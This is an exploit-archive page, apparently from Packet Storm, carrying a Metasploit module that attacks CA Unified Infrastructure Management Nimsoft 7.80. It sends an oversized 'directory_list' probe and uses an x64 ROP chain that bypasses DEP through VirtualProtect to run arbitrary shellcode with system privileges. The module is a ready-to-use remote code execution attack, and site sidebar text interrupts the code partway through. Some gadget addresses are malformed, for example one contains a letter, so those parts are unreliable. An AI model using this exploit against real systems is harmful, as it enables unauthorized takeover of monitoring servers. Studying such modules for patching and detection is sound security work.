CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow

Authored by wetw0rk | Site metasploit.com

Posted Jul 31, 2020

This Metasploit module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list probe. Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the directory_list probe.

tags | exploit, overflow
advisories | CVE-2020-8010, CVE-2020-8012
SHA-256 | e8a39681b3226039c089f38664d93db9e42e085ada3d1e0f014237aa468bd3c9 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
          The vulnerability occurs in the robot (controller) component when sending a specially crafted
directory_list
          probe.

          Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
          directory_list probe.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'wetw0rk' # Vulnerability Discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
            [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
            [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-
Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
            [ 'PACKETSTORM', '156577' ]
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
            'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
          },
        'Payload' =>
          {
            'Space' => 2000,
            'DisableNops' => true
          },
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Targets' =>
          [
            [
              'Windows Universal (x64) - v7.80.3132',
              {
                'Platform' => 'win',
                'Arch' => [ARCH_X64],
                'Version' => '7.80 [Build 7.80.3132, Jun  1 2015]',
                'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret
[controller.exe]
              }
            ],
          ],
        'Privileged' => true,
        'Notes' => { 'Stability' => [ CRASH_SAFE ] },
        'DisclosureDate' => 'Feb 05 2020',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
        Opt::RPORT(48000),
      ]
    )

  end

  # check: there are only two prerequisites to getting code execution. The version number
  # and access to the directory_list probe. The easiest way to get this information is to
  # ask nicely ;)
  def check

    connect

    sock.put(generate_probe('get_info', ['interfaces=0']))
    response = sock.get_once(4096)

    list_check = -1

    begin
      if target['Version'].in? response
        print_status("Version #{target['Version']} detected, sending directory_list probe")
        sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
        list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
      end
    ensure
      disconnect
    end

    if list_check == 0
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end

  end

  def exploit

    super
    connect

    shellcode = make_nops(500)
    shellcode << payload.encoded
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    offset = rand_text_alphanumeric(1000)
    offset += "\x0f" * 33

    heap_flip = [target.ret].pack('<Q*')

    alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
    rop_chain = generate_rsp_chain # Stage1: Stack alignment
    rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
    rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
    rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
      rop_chain.length

                                        ))

    rop_chain += "kernel32.dll\x00"
    rop_chain += "VirtualProtect\x00"

    trigger = "\x10" * (8000 - (
      offset.length +
      heap_flip.length +
      alignment.length +
      rop_chain.length +
      shellcode.length
    )
                        )

    buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
    exploit_packet = generate_probe(
      'directory_list',
      ["directory=#{buffer}"]
    )

    sock.put(exploit_packet)

    disconnect

  end

  # generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
  # otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
  def generate_rsp_chain

    rop_gadgets = [0x0000000140018c42] * 20 # ret
    rop_gadgets += [
      0x00000000140002ef6, # pop rax ; ret
      0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400af237, # pop rdi ; ret
      0x0000000000000007, # alignment for rsp
      0x0000000140025dab
    ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret

    return rop_gadgets.pack('<Q*')

  end

  # generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
  # and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
  # Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
  def generate_rop_chain

    # RAX -> HMODULE GetModuleHandleA(
    #   ( RCX == *module ) LPCSTR lpModuleName,
    # );
    rop_gadgets = [0x0000000140018c42] * 15 # ret
    rop_gadgets += [
      0x00000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x00000000000009dd, # offset to "kernel32.dll"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret

    rop_gadgets += [0x0000000140018c42] * 15 # ret

    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x00000000140002ef6, # pop rax ; ret
      0x000000014015e310, # GetModuleHandleA (0x000000000014015E330-20)
      0x00000001400d1161
    ] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> FARPROC GetProcAddressStub(
    #   ( RCX == &addr    ) HMODULE hModule,
    #   ( RDX == *module  ) lpProcName
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
      0x00000000140002ef6, # pop rax ; ret
      0x0000000000000000, # (zero out rax)
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000812, # offset to "virtualprotectstub"
      0x000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38]
; mov rsi, qword [rsp+0x40]
    # mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret

    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
    rop_gadgets += [
      0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp,
0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 6 # ret
    rop_gadgets += [
      0x00000000140002ef6, # pop rax ; ret
      0x000000014015e318
    ] # GetProcAddressStub (0x000000000014015e338-20)
    rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
    rop_gadgets += [0x0000000140018c42] * 17 # ret

    # RAX -> BOOL VirtualProtectStub(
    #   ( RCX == *shellcode          ) LPVOID  lpAddress,
    #   ( RDX == len(shellcode)      ) SIZE_T  dwSize,
    #   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
    #   ( R9  == *writeable location ) PDWORD  lpflOldProtect,
    # );
    rop_gadgets += [
      0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
      0x0000000014013d651, # pop r12 ; ret
      0x00000000140lfb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
      0x00000001400eba74
    ] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop
r12 ; pop rdi ; pop rsi ; ret
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x00000000140002ef6, # pop rax ; ret
      0x0000000000000000
    ]
    rop_gadgets += [
      0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x000000000000059f, # (offset to *shellcode)
      0x0000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
    rop_gadgets += [
      0x00000001400496a2, # pop rdx ; ret
      0x00000000000005dc
    ] # dwSize
    rop_gadgets += [
      0x00000001400bc39c, # pop r8 ; ret
      0x0000000000000040
    ] # flNewProtect
    rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
    rop_gadgets += [0x0000000140018c42] * 17 # ret
    rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
    # mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret

    rop_gadgets += [0x0000000140018c42] * 20 # ret

    rop_gadgets += [
      0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
      0x0000000000000000, # (zero out rax)
      0x0000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000, #
      0x0000000000000000
    ] #
    rop_gadgets += [0x0000000140018c42] * 10 # ret
    rop_gadgets += [
      0x0000000140131643, # pop rcx ; ret
      0x0000000000000317, # (offset to our shellcode)
      0x0000000014006d8d8
    ] # add rax, rcx ; add rsp, 0x38 ; ret
    rop_gadgets += [0x0000000140018c42] * 15 # ret
    rop_gadgets += [0x00000001400a9747] # jmp rax
    rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)

    return rop_gadgets.pack('<Q*')

  end

  # parse_listing: once the directory_list probe is sent we're returned a directory listing
  # unfortunately it's hard to read this simply "decodes" it
  def parse_listing(response, directory)

    result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
    i = 0

    begin
      dirlist = response.split('\x00')[0].split("\x00")
      index = dirlist.index('entry') + 3
      final = dirlist[index..-1]
    rescue StandardError
      print_error('Failed to gather directory listing')
      return -1
    end

    print_line("\n Directory of #{directory}\n")

    check = 0
    name = 0
    ftime = 0
    size = 0
    ftype = 0

    while i < final.length

      if name == 1
        unless final[i].to_i > 0
          result['name'] = final[i]
          name = 0
          check += 1
        end
      end
      if size >= 1
        if size == 3
          result['size'] = final[i]
          size = 0
          check += 1
        else
          size += 1
        end
      end
      if ftype >= 1
        if ftype == 3
          result['type'] = final[i]
          ftype = 0
          check += 1
        else
          ftype += 1
        end
      end
      if ftime >= 1
        if ftime == 3
          result['date'] = final[i]
          ftime = 0
          check += 1
        else
          ftime += 1
        end
      end

      if final[i].include? 'name'
        name = 1
      end
      if final[i].include? 'size'
        size = 1
      end
      if final[i].include? 'size'
        ftype = 1
      end
      if final[i].include? 'last_modified'
        ftime = 1
      end

      i += 1

      next unless check == 4

      if result['type'] == '2'
        result['type'] = ''
      else
        result['type'] = '<DIR>'
        result['size'] = ''
      end

      begin
        time = Time.at(result['date'].to_i)
        timestamp = time.strftime('%m/%d/%Y %I:%M %p')
      rescue StandardError
        timestamp = '??/??/???? ??:?? ??'
      end

      print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name:
result['name']))

      check = 0
    end
    print_line('')
    return 0
  end

  # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
  # craft probes in order for the controller to accept any input.
  def generate_probe(probe, args)

    client = "#{rand_text_alphanumeric(14)}\x00"
    packet_args = ''
    probe += "\x00"

    for arg in args

      c = ''
      i = 0
```

```
      while c != '='

        c = arg[i]
        i += 1

      end

      packet_args << "#{arg[0, (i - 1)]}\x00"
      packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
      packet_args << "#{arg[i..-1]}\x00"

    end

    packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
    packet_body = "mtype\x00" # mtype
    packet_body << "7\x004\x00100\x00" # 7.4.100
    packet_body << "cmd\x00" # cmd
    packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
    packet_body << probe # probe
    packet_body << "seq\x00" # seq
    packet_body << "1\x002\x000\x00" # 1.2.0
    packet_body << "ts\x00" # ts
    packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
    packet_body << "frm\x00" # frm
    packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
    packet_body << client # client address
    packet_body << "tout\x00" # tout
    packet_body << "1\x004\x00180\x00" # 1.4.180
    packet_body << "addr\x00" # addr
    packet_body << "7\x000\x00" # 7.0
    #
    # probe packet arguments (dynamic)
    # argument
    # length of arg value
    # argument value

    packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
    probe = packet_header + packet_body + packet_args

    return probe

  end

end
```

Login or Register to add favorites